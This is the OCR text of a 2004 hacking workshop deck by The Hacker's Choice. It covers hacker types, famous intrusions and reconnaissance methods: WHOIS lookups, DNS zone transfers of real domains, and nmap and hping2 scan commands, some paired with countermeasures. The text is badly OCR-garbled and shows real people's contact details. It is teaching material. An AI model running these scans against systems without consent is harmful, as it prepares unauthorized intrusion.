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bout THC

History

B Founded on 15t October 1995 by joining Drunken Traders Inc. and
LORE BBS

W First we came up with a cool acronym (THC) and then thought about
what it could mean.

m \We finally agreed on “The Hacker’s Choice”
m Hey, we were kids back then ©

m We were and still are a release group. Who wants to join has to
release something pretty cool under the THC label.
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bout THC

[oday

m No one of us is breaking into systems, or committing other computer crimes.
m \Wide scope of interest:

® ¢ 6 6 O O O 6 O O O o

Network Security/Hacking

Unix Security/Hacking

Windows Security/Hacking
Application Security/Hacking

Credit Card generation/verifying tools
Wardialing

Wardriving

Phreaking

Cryptography/Anonymity/Authentication

Trojans and Backdoors
Exploits
Ethical articles

>> parasite, hydra, flood, probe, gg

>> unix-hacking-toolkit

>> ipf, happybrowser, cupass

>> amap, vmap, ra-bbs-hack

>> thc-cred, thc-shagg

>> thc-scan

>> wardrive, thc-rut

>> pbxhack, gd, login hacker

>> passid, fuzzyfingerprints, anon unix
>> ra-bbs, rwmwwshell

>> realserv, Ipset, thc-sql etc.

>> hackers go corporate, human2hacker

... and in old times also anarchy and virus stuff ... examine our magazines!
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bout THC

Our Web-Page
m Has got all our tools (29!), articles (32!) and exploits (8) online.

Visit us at http://www.thc.org
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he Goal

50al of this workshop:

m Understand the way hackers work

m See what tools hackers are using and how they work
m Understand the hacking methodology

m Enable you to perform LEGAL tests on your own

This workshop is designed to take security specialists with
network, Unix and Windows knowledge and enable them
to perform LEGAL tests of their infrastructure on their own.
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eminar Requirements

m |n-depth knowledge of TCP/IP
¢ Paket structures of IP, ICMP, UDP, TCP (incl. All flags and fields!)
¢ |P Adressing, routing and routing decisions
¢ RIP and OSPF routing protocols (basics)

¢ TCP 3-way handshake (incl. When which flags are set, sequence numbers
- and understanding why)

¢ ICMP types (echo request/reply, all unreachables types, redirects,
timestamp Requests, netmask Requests, etc.)

¢ |P options (source-routing, record-route)

¢ Helpful are the books "TCP/IP lllustrated, Volume 1" from Stevens,
and "Hack Proofing your Network*

¢ TCP/IP lllustrated Volume 1 is available online at:
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eminar Requirements

B Basic knowledge of penetration testing, e.g. by reading "Hacking
Exposed"” or a similar book
m |n-depth knowledge of Unix administration:
¢ |P configuration with ifconfig
¢ Configuration of routes with route
Install programs with configure & make, and rpm
Packing & unpacking of files (tar, gzip, bzip2, zip, compress)
In's and out's of the find command

Network commands in general (netstat, rpcinfo, showmount, snmpwalk,
telnet, ftp, netcat)

¢ General system usage system (ls, cd, cp, rm, mv, find)
¢ Able to use and understand nmap
¢ Configuring a new kernel, compiling, and using it

4
*
¢
*
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eminar Requirements

B Good knowledge of Windows 2K+
¢ How do Domains and Active Directory (W2K+) work
¢ NTLM, SID, SAM, Rights, ACLs, Shares, IPC$
¢ Netbios / CIFS
* WIin32 system administration from a CMD shell (use of net.exe etc.)
* Win32 standard services
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eminar Requirements

® Hardware to bring
¢ | aptop with installed Linux (e.g. SUSE) AND Windows 2000/XP

¢ Linux — "Standard installation without Office", however with "Development"
and "Network", and the tools: openssl, Nessus, nmap and ethereal.

* Windows with actual service pack (XP: SP1 only, not SP2)
¢ FastEthernet network card (incl. all cables & adapters ©)
* Wavelan card 11Mps supporting 128 bit encryption

¢ Omnidirect antenna for wavelan card 7+dBi (OPTIONAL)
¢ Direct antenna for wavelan card 10+dBi (OPTIONAL)

¢ GPS (with NMEA supported) and PC cable (OPTIONAL)
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Attention!

Hacking - unauthorized intrusion and unauthorized
reading of data - is illegal!
The goal of this seminar is NOT to make a
hacker/criminal out of you!
Use the learned knowledge only for testing for the
existence of the security vulnerabilities — with full
consent of the system owner and your superior!
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What is Hacking?

The difference between hacking, Hacking
and H4cK1nG
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ttle History of Hacking....
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/hat is Hacking?

B A Hacker i1Is someone who
makes furniture with an axe.

(Guy L. Steel, et al., The Hacker’s Dictionary)

....however, in the last months
some new definitions were found on the Interne!
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/hat is Hacking?

m Definition 1:
A person who enjoys exploring the details of programmable systems
and how to stretch their capabilities, as opposed to most users, who
prefer to learn only the minimum necessary.”

B Definition 2:
,One who programs enthusiastically (even obsessively) or who enjoys
programming rather than just theorizing about programming.*
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/hat is Hacking?

Today a Hacker is:

+A hacker is a computer user who intrudes unauthorized computer
systems and/or obtains access to restricted data.”
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/hat is Hacking?

Motivations for Hacking:
W | eisure

m Curiosity

m Craving for recognition

m Financial gains

W Terrorism
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he Hats

WNhite hat: Finds security flaws with intent to patch them up
Srey hat: Releases exploits without prior warning
3lack hat: Exploits security flaws for personal gain
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rackers

rRemoval-of-copy protection and distribution of pirate software

3reaking into computer systems with intent to steal or cause
other damage

Jsually very skilled and cautious
3lack hat
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Nreakers

—Xploits security flaws in public telephone networks, PBXes
otc. to avoid billing or to cause damage

'he oldest form of hacking
3lack hat
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cript Kiddies

The graffiti artist of cyber space

Most often pick their targets randomly

Use tools produced by more skilled hackers
black hat

Motives:

W Status in the hacker community
m Distribution of pirate software
®m To be annoying
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Ipherpunks

Cryptanalysts
Highly educated
Mostly white hat
Motives:

B Status in the hacker community
m Academic recognition
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Irll authors

Mostly found in countries where computers are recently
Introduced

(usually) Despised by the hacking community
Black hat, few grey hat

“Legitimate” researchers that do not release their
creations are obviously not black hat

Motives:
B Random destruction
m The challenge
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leet / lamer

Eleet (31337)
W Posting new exploits
m Humiliating large software companies
m Media attention
m Tool development
Lamer
m Using tools without understanding the theory
m Sloppy technique
m Getting caught
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acker Types?

“Hackers” can be distinguished between:
m Joyrider
¢ Compromises systems for curiosity or leisure
¢ Prefers publicly known systems (z.B. Microsoft)
¢ EXxpects interesting data
m VVandals: goal is data destruction
B Scorekeeper
¢ Hacks to score prestige and pointy
* Prefers interesting and publicly known systems
B Spy: steals information for political or financial gain
B Terrorists: destroying ,e-infrastructures”
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/hat is Hacking?

3eside their motivation, Hackers can also be distinguished for
heir skills into several groups:

m Skript Kiddies
m Classical Hacker
m Professional Hacker
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/hat is Hacking?

SKript Kiddes:
m Have a medium level of computer know-how
B Motivation is scorekeeping or joyriding
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/hat is Hacking?

Classical Hacker:

m High to very high level of computer know-how

m Excellent ability to analyse

B Access to professional operating system and application source codes
m Motivation is joyriding
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/hat is Hacking?

°rofessional Hacker:
B Same as classical hacker, but has got additional financial resources

® High criminal energy:
¢ Application for internships
¢ Breaking and entering
* Wireless LANSs (willing to travel to the target)

¢ Able to perform expensive attacks like frequency analysis or observation
by bugging
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/hat Is Hacking? Hacker Profiles

A
Criminal Industrial Spies

Energy Typical Insider Intelligence Services
Attacks :
professional Hackers

Script Kiddies classical
/ Hacker
Only these Students, and
cases Interested people
become
public! Know Ho:/v
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/hat iIs Hacking? Advanced Usability

Capability of Hacker tools

A g,&00\*?:.
DDOS \,\ac\““
> packet forging /
~ :
~ & spoofing
\ .. .
~ - hijacking o0
™= sessions
T ~
auto-exploiting ~
known vulnerabilites _ > sniffer /
~
self-replicating ~ Jweepers
~
code backdoors S o
~
d = ~ :
i ~ _ required
crackin
) * knowledge
password
guessing
| | | | | >
1980 1985 1990 1995 2000 2003 )
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The Hacker Scene
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acker Conventions

Defcon - Annual conference held in Las Vegas

Hope - Annual conference in NY (by 2600)

@lanta.con - computer convention in Atlanta

ICON - security convention in Cleveland

CCC Congress — Annual conference held in Berlin

CCC Camp — Hacker Camp every 4 years near Berlin
HIP/HAL/... - Hacker Camp every 4 years in the Netherlands

More (and underground/closed) conferences exist
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acker Online Meeting Places

IRC

m Networks:
¢ efnet
¢ ircsnet
B Channels:
* #hack
¢ #hack.<COUNTRYCODE>
¢ #hacking
* #bluebox
¢ #<GROUPNAME>
¢ eftc.
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acker Mailing Lists

Open (!) Mailing Lists:
m bugtraqg
m full-disclosure
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Most Famous Hacker Attacks

Microsoft, NASA, CitiBank, ...
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lost Famous Hacker Attacks

m Every day more than 20 web sites are defaced.
B These are approximately 7000 sites a year!

B Some examples given:
Yahoo, E*Trade, Verfassungsschutz, NASA, VISA International,
Canon Deutschland, Microsoft, CitiBank, CNN, Noris Bank, RSA
Security, Anderson Consulting, and many more
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efaced Servers on 02.01.2002

> original site

> archive

= attacked by

> comments

| 0252002
| 0252002
| 0252002
| 202002
| 0252002
| 0252002
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| 0252002
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ASA Hack
B Name NASA Hack
B Year 1986

m Author/Hacker CCC

The german Chaos Computer Clubs breaks into
the NASA computer network.
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lorris Worm
B Name Morris Worm
H Year November 1988

m Author/Hacker Robert Morris jr.

The world's first Internet worm, which infects in a
few hours approximately 6.000 Vax servers and
Sun workstations.

To this time, these computers represents more
than 60% of all systems connected to the Internet.
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IitiBank
BVictim CitiBank
m Year 1994

m Author/Hacker Vladimir Levin
Viadimir Levin breaks in into the CitiBanks
computer network and steals 10 Mio USD.

The attack was performed from St. Petersburg.

The bank lost ten important customers.
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evin Mitnick

m'Victims Motorola, NEC,
Sun, Nokia,
Fujtsu

m Year 1989-1994

m Author/Hacker Kevin Mitnick

Kevin Mitnick was the US‘ most wanted Hacker.

From the companies mentioned above, he gathered
computer programs for several million USD.
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acker Attack on Microsoft

| Victim Microsoft
B Year 2000
m Author/Hacker Russian Hackers

A hacker group succeeded to penetrate Microsofts systemens.

The program gathered secretly user account passwords and sent them to
an eMail address in St. Petersburg.

Later on, the stolen accounts were abused to trespass the Microsoft
1etwork and to steal source codes of several MS products.
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acking I nternet Provider

m'Victim Cloud Nine
B Year 2002
m Author/Hacker ?7?

An English ISP was forced to quit his business because of permanent
Denial-of-Server attacks.

The 2,500 existing customer were transfered to business competitors.
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Hacker Methodology

Introduction
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he Hacker Methodology

nformation, Gathering
m Passive Information Gathering
B Active Information Gathering
[arget Selection (one after another or all in parallel):
M Scanning
¢ Port Scanning
¢ OS Detection, TCP/IP Configuration
¢ Banner Grabbing
¢ Service ldentification
m Attacking
¢ Exploiting Known Vulnerabilities
Exploiting Misconfigurations
Login Guessing
Exploiting Trust
Exploiting Weak Crypto
Vulnerability Fuzzing
Reverse Engineering Program Logic

® 6 6 6 0 o
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he common way a hacker works

Port MAning
‘ 0S “mathDfﬂﬂﬁtuon
Ghaarr |cmllﬂ“er1¥u..g<

Target Information Gathering = maﬂ
REPEAT { 1ma pfgrallllll,nnelrec‘
Service ldentification ""maﬂ'am I]‘"maﬂ

Service Information GatherlngT Lmalwfe)“s[ malw mISSIII[br

Attack Service ‘

Exp Ipaiy ma“V““npts

} UNTIL (SUCCESSFUL BREAK-IN)
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Passive | nformation Gathering

Usage of Third Party information
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assive | nformation Gathering

Through-,, PIG*, public available data about the target systems
can be revealed.

\NO direct contact to the target system has to be established!
>>Check>>

B Accessing administrational Internet databases

B Usage of any third party online services

m News groups and discussion forums

© 2004 The Hacker's Choice — http://www.thc.org — Page 50 Nl



the hacker's choics

HOIS

Search criteria for WHOIS queries

m Name of a person: ,name: heuse, marc”

m NIC or contact handles: ,MK5782-RIPE"

B Company hames:. ,name nruns”

® Domain names: ,nruns.com®

m |P-Adresses: ,host 141.51.4.20¢

m Host or nameserver: ,host dns.company.com®
m Full text search can be performed at:
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/hois Example — nacamar.net

BRI, - SN <. S .- N R <
_“_jélﬂﬁ!_ Ll Ablpachen  Akbuszissn  Sheileis 1 Suchen Favorben Wetlsul ,___F!E!_ .
: ﬁ.ﬁlﬂllﬂ s Pveveee. nebvecrk solufions. comdcgrbindshoi whois 75 TRING snacama. nel ﬂ f?"l'u" U

= |

Regiatranc:
$.0, Box 10 2242
DIeeisach, &326H
IE

Iomain Hame: NACAHAR.NET

Adsinlatzative ConcRct:
Lapdefsld, Klaus (ELLOY  klous@LANDEFELD. NET
nacamar Data Comwaniostcions GmbE
Rabert-Boach-5cr. 32
Dreil=ich
(il
hE
+H1% SOAL §62 0 +49 G068l GHZ 299
Technical Contact:
Hozrmascer Role Account [(HEASI-0FG| puacdisnBHACAAARR., NET o
nAcasar Dats Comeunicscions
RFobert-Boach-3cr. 32
TEgieich
DE
+i5 5103 3L6 0
Faw- +49 103 816 222
Filling Contsact:
Billimg Role Account (BERAT-0PG) bBallingiRACAMAR.NET
Hacamar [ata Communicstions=
Robert-Boach-Serasse 32
633053 Dreieich
DE
=49 &l03 91§ 0
Fux= +39 S103 Bl L0

&] Fenig |4 Intemetzone = [
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ublic Databases

\News groups and search engines can deliver useful
nformation about the target‘s security infrastructure:

B Deja News http://groups.google.com/
m Google http://www.google.com/
m Job vacancies on the companies web sites

B Yahoo Business Information
http://dir.yahoo.com/Business_and_Economy
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ewsgroup posting and web search

Objective:

B To obtain newsgroup postings about an organisations employees and
resources
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seful information found

Detailed firewall configuration
Jsed Server OS/version, Database etc.
Ihreats against companies by hacktivists

dentified information about system administrators and
Jperating system variants

Client chairman is a ‘male escort for hire’ (joke)
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xample of a web search

; Google Search: kpmg firewall - Microzoft Internet Explorer

“} Google Search: kpmg firewa

File Edt View Favoites T File  Edit “iew Favortes Toolz Help

N=F
K

= Back - = - @ tat | @Search [F] Favarites @Media @ | %v =h

- = ¥ Tl

<F-Beu:kv-i‘*@ﬁ'|

Addresz fiil http:/ fgroupz.google. oo

Address f&]hltp:a".-"gru:uups.gu:u:ugle.u:u:urn.-"gru:uups?|:|=kpmg+firewall&hl=en&selm=fa.hedu:uddv.'I03911?Zdﬂifi.ui0.nu&rnurj @GD Links [ Marton Antivines E -

Advanced Groups Search

Groups Help

Goog ¢ GOUgle“ —

Groups search result 3 for | Groups search result 6 for kpmyg firewall

_ From: Mg, Kenneth (kennai@kpmg.com)
From: Adam Eeece (ree =

Subject: Re: PING and tf ﬁ;ﬂg;@ﬁgsghﬁrﬁg l
g‘;‘{‘fg{g@@fmﬂ—p’—ﬂ” =€ pate 1999/06/10

William Fink <wfinkBk
= Can sowmwebody expla
= he blocked by a £ir

some reason this site always gets wvolunteers

Ping isn't a problem
that aren't known yet
allowing him or her t

. . NT =ide to conhect it to.
which ones to ignore.

Google Home - Adverise wit | -~ Frow: Edward Gikbs [ZNTP:edliprg.nokia. com]
> Fent: Tuesday, June 01, 1999 5:49 PH

Google Search |

F

Search Result G

View: Complete Thread (207 articles) | Original Format

I am in New Jersewy, the firewall i= in Poland or Argentina, or Bermuda [(for
How do I securely access
a comtmand window remotely? I am limited to Raptors remote adiin GUI which
does not have any access to that stuff. On the Tnix wversion I use srl to
connect in, run bash to get a decent shell, and then I can do all mwy
diagnostics. Previously we [(KPMG) has asked Baptor for a srl for the NT

wversion, and they said they could provide it, but there was nothing on the

l_ l_ l_ @ Intemst

|2;.| |:Ej Done

- el |
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ther Essentials

Online Security Checks

/ia ;

m Which operating system and in which version is used?
m Used web server and, if available, SSL checks

m Network segment owner

m Availability overview for the used servers

m Background information about the methods used for these checks:
http://uptime.netcraft.com/up/accuracy.htmi

Via or
m DNS zone transfers: query the complete domain content
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one Transfer of sparkasse.de

; <<>> DiIG 2.1 <<>> @www.imago.de sparkasse.de. axfr
;- (1 server found)

sparkasse.de

secs)

sparkasse.de
sparkasse.de
sparkasse.de
sparkasse.de
db.sparkasse

- 42400 SOA

- 42400
. 42400 NS
- 42400 MX
. 42400 A
-de. 42400

NS

redaktion.sparkasse.de.
host420.sparkasse.de.

www . Sparkasse.de.
test.sparkasse.de.

42400
42400

host421.sparkasse.de.
extranet.sparkasse.de.

dsgv.sparkasse.de.

42400

www. imago.de. hostmaster@imago.de. (
42400 )

; minimum (11 hours 46 mins 40

ns.imago.de.
xhinkl.xlink.net.
10 mx3.1mago.de.
212.162.48.210

A
42400
42400
A
A
42400
42400
A

194.122.0.6
A 62.181.132.18
A 212.162.48.213

212.162.48.210
62.181.132.23

A 212.162.48.213
A 62.181.132.18
212.162.48.210
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arget’ s homepage

m Determine if site is hosted at ISP or at the target
m Quantify number of sites which may be attacked

B Determine if there is any non-public information buried in HTML comment
tags.

B Review pages to identify server type
m Other items of interest:

W Location

B Merger or acquisition news

® Phone numbers

m Contact names and e-mail addresses
B Links to other organisations
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seful information found

Administrator contact details
~-ile configuration details
Comments from programmers concerning configuration
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nalysis of web page example

index[1] - Hotepad —|1O] x|
File Edit Format Help

Zmeta name=”CDEyrﬁght” content="KPMs UK":> =
<meta name="robots" content="all"=

<meta http-equiv="pragma" Content="no-cache":>

<meta name="revisit-atter"” content="14 dawys"=>

<meta http-equiv="PICs-Labkel"

content="(PICsS-1.1 "http: Awww.rsac.org/ratingsvol.html"” T gen true comment "RSACT Morth america Serwver’” by

“robin. oakley@kpmg. co.uk” Tor "http:Awew. kpmg. co.uk” on "15998.03.04T01:46-0800" r (n O s O w O 1 032>

<meta name="description" content="The leading professional serwvice organisations providing a wide range of business
achvice that dncludes auditing, tax, consulting, financial sector, corporate finance and corporate recovery. =

<Tink rel="stylesheet" href="{j P 1l en, /KP I Y, W N=EE" type="text css">
<l ——<script Tlanguage="Jawvascript’ src
< sheads>

?bgdy bgcolor="#Fff{fT" text="#000000" Tink="#00235b" w1ink="#00235b" marginwidth="0" marginheight="0" topmargin="0"
eftmargin="0"

onLoad="capEvents); goingCl;MM_preloadImages (' skpmgySimagesshut_services_on.gif', ' Skpmgsimagessbut_home_on. gif', ' skpm
o/ images sbut_dndustries_on. gif’, " AkpmgSimages sbut_about_on. gif ', ' skpmgimages sbut_careers_on.gift, C skpmogsimages sbot
1nteractive_on.gif','kamgf1magesfbut_interactive_on.giF','fkpmgfﬁmagesﬁbut_press_on.gif','fkpmgfimaﬁesﬁbut_about_on
.gif', ' AkpmgsSimages sbut_careers_on. iF','fkpmgfimagesfbut_ﬁndustries_on.gif','fkgmgfﬁmagesfbut_searc _on.gif', ' Skpmg
f1magesfbut_contact_nn.giF','jkEmgf1magesfbut_index_un.gif','fkpmgfﬁmagesfbut_pu Tications_on.gif ', ' skpmgss1mages but
_country_on.gif', ' kpmgsimagessbut_careers_on.gif'., ' Jkpmgsimagessbut_help_on. gif' o=

<SCripTs

SIS

var nd = (dncument.1a¥ersj? true:false;

var e = Cdocument.alll? true:false;

sar NG = (document.getElementByIdl? true:fTalse;

it (el ne=false;

Function showlayCnamel =
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Active | nformation Gathering

Analysis of the Target Systems
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ctive Information Gathering

AlG designates all direct connections to the target
Ssystems in order to prepare an attack:

m Alive Check: which IP addresses (,targets”) are active?

m Network Topology Mapping:
¢ \What's the network architecture?
* Where are the wortwhile targets?

B DNS Information
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live Check — Overview

lo.identify the IP addresses used by the target company, an
,alive check” iIs utilzed.

Alive checks are working with many protocols of the TCP/IP
orotocol family:

m P

mICMP

mTCP

m UDP
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live Check — Overview

Alive checks using IP:

m Not supportet IP protocol (often filtered, doesn‘t work with some SPF)
B Faulty IP header (IP header length) (doesn‘t work with some SPF)

B Fragmentation (does not work with some SPF)

SPF means "Stateful Packet Filter"
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live Check — Overview

Alive checks using ICMP:

m Ping: Echo Request

B Netmask Request (often filtered)

B Timestamp Request (often filtered)

B Information Request (rarely supported, often filtered)
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live Check — Overview

Alive checks using TCP:

m SYN flag (often filtered)

m ACK flag (doesn‘t work with SPF)

m FIN flag (doesn‘t work with SPF, Windows, etc.)

B FIN/URG/PSH (,XMAS") Flags (doesn‘t work with SPF, Windows, etc.)
®m No flags (,NULL") (doesn‘t work with SPF, Windows, etc.)

There are a few more, however these are
operating system specific
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live Check — Overview

Alive checks using UDP:

m UDP on any unused port
(will not work with Stateful Packet Filters)
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live Checks — Essentials

CMP packets can also sent as broadcast. Thereby alive scans
Nvill be much faster, but also unprecise because many systems
1o not answer (e.g. AlX, Ultrix, BSD, Windows).

'he most effective mechanism are ICMP Echo-Request and
'CP-ACK packets. Both are supported in one scanmode by the
gortscanner nmap:

nmap —sP 10.0.0.0/24
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live Checks — Essentials

f you really want to ensure that you identify as most alive
systems as possible, use nmap (v3.50 minimum) and do the
‘ollowing:
nmap —sP —P1 —PS25,53,80,443,4444 —PT4444
—PU4444 10.0.0.0/24

sends ICMP echo request, TCP SYN to port 25, 53, 80, 443 and
1444, TCP ACK to port 4444 and a UDP to port 4444 — port 4444
s usually unused)
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live Checks — Essentials

-or.packet filters, faulty IP header can be used. These kind of packets can
)e-produced with the program ,isic”.

Some packet filter implementations have problems with fragmented traffic
n variants. Specifically fragmented traffic can be generated with tools such
s , fragrouter®.

-urther reading:

m Nmap documentation from Fyodor:
http://www.insecure.org/nmap/

m  ICMP Usage in Scanning“ from Ofir Arkin:
http://www.sys-security.com/html/projects/icmp.html
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live Checks — Countermeasures

Router should filter strictly incoming and outgoing packets:

m Strictly filtering incoming on the external router:
¢ Accept only necessary incoming connections TCP/UDP/IPSEC, and
¢ some ICMP (echo-reply [0], unreachable [3], ttl-exceeded [11], parameter-problem

[12]))
m Strictly filtering outgoing packets:

¢ only IPSEC/TCP/UDP, and
¢ administrative ICMPs allowed (Source-Quench[4], Echo-Request [8])
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live Checks — Countermeasures

A Stateful Packet Filter should be installed:
m Cisco with FW modul

m Linux 2.4/2.6

m BSD

m Commercial Firewalls (e.g. Watchguard, P1X, FW-1 — but thats not cost
effective as an external filter)

Nhen static packet filters are used, all TCP packets should be filtered for
he SYN flag (,established” by Cisco, ,! —syn“ by Linux, etc.)

Attention: Filtering incoming/outgoing ICMP can sometimes lead to
lecreased performance and connectivity problems!
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etwork Topology Mapping — Overview

lhe Goal of Network Topology Mapping:

B Enable you to craft a detailed network design diagram from zero
knowledge!
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etwork Topology Mapping

P Time-to-Live: IP parameter defines a packets lifetime/range

P Record-Route: IP option to record the systems a packet
sassed. Disadvantage: can only record the first nine hops.

CPM Netmask-Request: shows the net addresses configured,
ncluding netmask. Disadvantage: often filtered.

P Strict-Source-Routing: IP option to define the exact route a packet has to use.
Disadvantages: usually filtered, much handcraft neccessary, works only for
systems approx. 9 Hops away, and is not a useful technique.
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etwork Topology Mapping

Other methods on application layer:
m Protocol routing requests: dumping the routing information

B Management software queries: dumping IP addresses with network
masks and routing information through SNMP, Compag Insight
Manager, etc.
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TM — Essentials

P'Record-Route is an excellent mechanism for router
dentification, but doesn not work with distant networks.

lip: Use , WHOIS" to identify ISP and city, and then use a near
SP to connect to the Internet.

Simple Tool to use: , ping —R"
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TM — Essentials

P Time-to-Live
s the mechanism of traceroute. More flexible is the tool
,hping2"“.
'CP SYN on the target's port 25 looks like:
hping2 -T -t 1 —p 25 -S 1.1.1.1

An alternative is ,traceroute —I* which uses ICMP echo requests
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TM — Essentials

he most useful method is to dump routing information, but
t‘'s often not possible (protected by firewall or static routing)
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TM — Countermeasures

Router should filter strictly incoming and outgoing packets:

m Strong filtering incoming — deny access to routing protocols and adminstration
services!

m Strong filtering outgoing — only necessary ICMPs allowed: drop ICMP
Unreachable [3], TTL-Exceeded [11], Netmask-Reply [18]

m Drop all IP options — if supported by the network components

Attention: Filtering ICMP can lead to decreased performance and
>onnectivity problems!
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omain Name System — Overview

Sather all information from the DNS:

B Zone Transfer

¢ Transfer of the name zone e.g. "n.runs.com” (with the "dig", "host", "nslookup" or
similar command)

"host —la nruns.com."
¢ Transfer of the IP zone (e.g. 219.130.10.0 Class C network)
"host —la 10.130.219.in-addr.arpa."

B Reverse name lookup
¢ Trying to resolve all IP addresses of the customer to DNS names
"nmap —sL 192.168.0.0/24"

B DNS domain name guessing
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Scanning

Knock-knock —who's there?
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canning
dentification of system, service and configuration:

B Remote systems can only compromised via a network service!
m Tools like nmap identify technical system details:

¢ OS and version nmap -0, xprobe

¢ Active network services nmap —SS

¢ Banner grabbing amap, tcp_scan, Nessus
¢ Application identification amap, nmap

¢ TCP/IP config probe2, Nessus

-urther reading on OS fingerprinting:
1ttp://www.phrack.org/show.php?p=57&a=7
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ort/Service Scanning

Jsed to determine what TCP or UDP ports are available on a
target system. The scanner will attempt to connect to each
port on the target. The scanner should detect the portin 1 of
4 states:

m Closed — port is reachable but no service present
B Open — port is reachable and service is present

m Firewalled — port is protected by a firewall, firewall sends a “this
port is firewalled” packet

m Filtered — port is non-reachable, possible firewall or packet filter is
present
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ackground to TCP scanning

Determine what ports of a host are listening for connections
Fhree main types of TCP scans

m TCP connect()

m SYN scan

B Stealth Scans
FIN scan
Null scan
XMAS scan
Window scan
Maimon scan

B ACK scan

© 2004 The Hacker's Choice — http://www.thc.org — Page 85



the hacker's choics

CP Connect Scan

If the port is listening, connect will succeed
Does not require any special privileges
Easily detectable

Most reliable

Very fast in parallel mode

Uses up precious sockets

Cannot usually detect filtered ports

SLOW if a firewall is in between
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CP Connect
he Three-way handshake

2 Syn !
L T
Syn/Ack A
I <
R
E
N G
T Ack > E
T
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YN Scan

Commonly referred to a "half open" scanning

sends a SYN packet and waits for aresponse

A"SYN/ACK response indicates the port is listening

A RST packet indicates the port is not listening

_ess likely to be logged

NOo response indicates port is filtered

Requires raw sockets (requiring root or Administrator privileges)
some IDS confuse this with a SYN flood
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IN, NULL & FIN/PSH/URG Scan

More stealthy than a SYN scan

Reply with a proper RST packet indicates that the port is
“losed

Open ports tend to ignore the packet (no reply)
Ihis techniqgue can sometimes scan path a static packet filter

However Microsoft boxes and others tend to send a RST
vacket regardless (scan does not work)
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indow / Maimon Scan

Vlost stealthy scans
This technigue can most times scan past a static packet filter
lhese only work against some very few systems, e.g. AlX
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CK Scan

\Not,used-to-identify open and closed ports
Jsed to identify filtered ports
Can be useful for mapping packet filter rules
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ragmentation scanning

A modification of other techniques of scanning
3reaks the probe packet into a couple of small IP fragments

3reaking up the TCP header into several smaller packets makes it harder to
detect and some packet filters will pass the packet unchecked rather
than wait for all of the fragments to arrive.

Doesn't really help with current firewall and IDS systems
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DP Port Scanning

Single UDP packet to each port being tested

Closed ports respond with an ICMP unreachable message.
Open ports will NOT respond

-iltered ports will NOT respond

Results can be ambiguous on filtered targets

Can be very slow due to ICMP message rate limiting which is
specified within the RFC’s describing IP & ICMP. Some
systems do not implement this (e.g. all Windows systems.)
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DP scan

Sends zero byte UDP packets

Closed ports reply with ICMP PORT UNREACHABLE
Jnreliable (open ports do not respond)

Some platforms do not answer according to protocol (win9x)
Almost useless over the Internet (packet loss)
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canning — Usage of nmap

Currently, nmap.is the most advanced portscanner available

\\map command line:
nmap —sMODE —pPORTS TARGET

\map modes

£ts SYN scan
- U UDP scan
- T connect scan (default)
— F,N, X, M,A P, W, .. Other scan modes
20rts

4.5,6,20-50 Ports to scan
[argets:

127.0.0.1 Target to scan
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TP bounce scan

-TP proxy must accept the port and list commands
Can be used to scan an internal network

Scan without revealing your source address

Quite unlikely nowadays

Stealthy
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TP bounce scan

FTP transfer successful = open port FTP proxy
FTP connection error = closed port = =
P o .

internet

t FTP to proxy, issue command: Target
~— quote “port x,y,z,w,0,port” IP x.y.@

=
lllll
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Ingerprinting

Stack fingerprinting is used to determine the operating system
of a target host

Jtilises differences in the implementation of the IP stacks

nvolves sending non-standard packets to the target and
examining any responses

\Not always accurate
very easy to spot for IDS
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Ingerprinting — A Simple Test

A single ping can be used to aid in OS detection and is a very basic
way of fingerprinting a target.

C:\>ping 158.177.248.29
Pinging with 32 bytes of data:
Reply from : bytes=32 time=20ms TTL=128

Note that TTL=128 in the reply. That almost guarantees that the target i
a Windows system of some description.
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Ingerprinting — A Simple Test

Here are-the default TTL (Time To Live) values for a few
common systems :

m Cisco Devices 255
B Most Windows Systems 128
m \Windows 95 32
B Linux <= 2.0.X 64
H Linux >= 2.1.x 255
B Solaris 255

© 2004 The Hacker‘'s Choice — http://www.thc.org — Page 100 Nl



the hacker's choics

dvanced | P Stack Fingerprinting

m |nvolves sending crafted packets to the target
m |deally requires >=1 open port and >=1 closed port

m Packet filters, firewalls and transparent proxies can render IP stack
fingerprinting useless when using automated tools such as NMAP,
Queso, xprobe or MingSweeper because they sometimes re-write
packets.
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dvanced | P Stack Fingerprinting

lools for automated stack fingerprinting
m NMAP TCP/IP stack fingerprinting
m Xprobe ICMP stack fingerprinting
m MingSweeper combined NMAP+ICMP

B Queso — early stack fingerprinting, NMAP draws tests from this
software.
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MAP

'‘Network Mapper”
Jpen source utility for network exploration

ts functions include a wide variety of port scanning mechanisms, OS
detection and ping sweeps.

RUNs on most Unix based operating systems
Has an optional graphical user interface
ts FREE!

1map —p OPENPORT,CLOSEDPORT -0 127.0.0.1

© 2004 The Hacker‘'s Choice — http://www.thc.org — Page 103 Nl



the hacker's choics

acan Options:

w Connect)
5 M Stealth

~ Pihg Sweep

~ UDOP Port Scan
« FIM Stealth

w Bounce 3can:

= :‘ 4| _|
File  Cutput Help
Huost(s): |:-canadu vectra playground Scan. | Exit |

General Options:

_JDont Resolve .- TCP Ping
_| Fast Scan # TIZP&ICHMP
_I Range of Ports: .- ICMP Ping

« Don’t Ping

r Use Decoy(s):  _| Input File:

_| Fragmentation
_| Get [dentd Info
_| Resalve All

- 0o Detection

A Send an Dewvice;

|antinn|ine.cnm |

Cutput from: nmap -s5 -0 -Dantionline.com xanadu vectra playground

Prrt Ctats
J

Interesting ports on vectra,yuma.net (192,168,0,50: Y
Fort State Protocol  Service
12 wlal=ly top caytime
21 opEn tcp ftp

22 wlal=lyl top z=h

23 wlal=ly top telnet
ar wlal=ly top time

74 opEn tcp Finger
111 wlal=lyl top sUNTEC
113 wlal=ly top auth
h13 wlal=ly top login
514 opEn tcp zhell

TCP Sequence Prediction: Class=random pozitive increments
Difficulty=14943 {kHorthy challengel
Femote operating system guess: OpenBSD 2.2 - 2.3

Interesting ports on playground,yuma.net (192,168 ,0,1:

Prrat mimml Crruirs

[
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I ngsweeper
Nindows based network reconnaissance utility

Jerforms ping sweeps, Reverse DNS sweeps, TCP & UDP port
scans, OS identification and application identification.

t1s also FREE!
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Port scanning target address 62 19002492
Port 13505 open

Port 159 iz apen

Fart 445 is open _
37 ports scanned in 62 milliseconds © 3 Open ports, 34 Closed ports, O Filtered ports, O Firewalled ports
Initial Sequence Numbers : 65765753 637C0CSE 637D5DCE BIFEF0SS BIFFCIZD &S809506 i
Taeq(Class=Rixged=1%51=34BE}
THResp=YRDF=TRW=402EA CE =5+ +KFlag s=ASK0ps=HHARNT)
TZiResp="RDF =M3= A CE=25F lags=ARKOps=)
